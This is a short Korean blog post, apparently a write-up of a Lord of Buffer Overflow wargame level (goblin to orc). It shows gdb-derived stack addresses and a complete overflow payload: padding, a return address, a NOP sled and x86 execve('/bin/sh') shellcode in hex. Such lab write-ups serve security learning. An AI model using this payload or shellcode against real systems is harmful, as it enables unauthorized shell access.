문제풀다가 모르고 코드 파일을 삭제해버려서 다른 사람껄로 대체한다.

 

대충 프로그램 실행할 때 인자에서 48번째 문자가 \xbf 여야한다는 것 같다.]

 

gdb로 뜯어보자.

 

strcpy 쪽에 bp를 걸고 buffer와 ret 까지 확인할 수 있을 것이다.

 

하지만 "\xbf"를 우회해줘야 하기 때문에 문자 갯수를 맞춰서 넘겨주자.

 

buffer = 0xbffffac0

ret = 0xbffffaec

 

페이로드는 우선 "A"*44 + shellcode_addr + NOP + "shell" 이렇게 할 것이다.

 

페이로드를 짜보자.

 

"A"*44 + "\xf0\xfa\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

와~~~

'LOB > WriteUp' 카테고리의 다른 글

LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level3 [cobolt -> goblin]  (0) 2021.05.20
LOB - level2 [gremlin -> cobolt]  (0) 2021.05.14
LOB - level1 [gate -> gremlin]  (0) 2021.05.14

+ Recent posts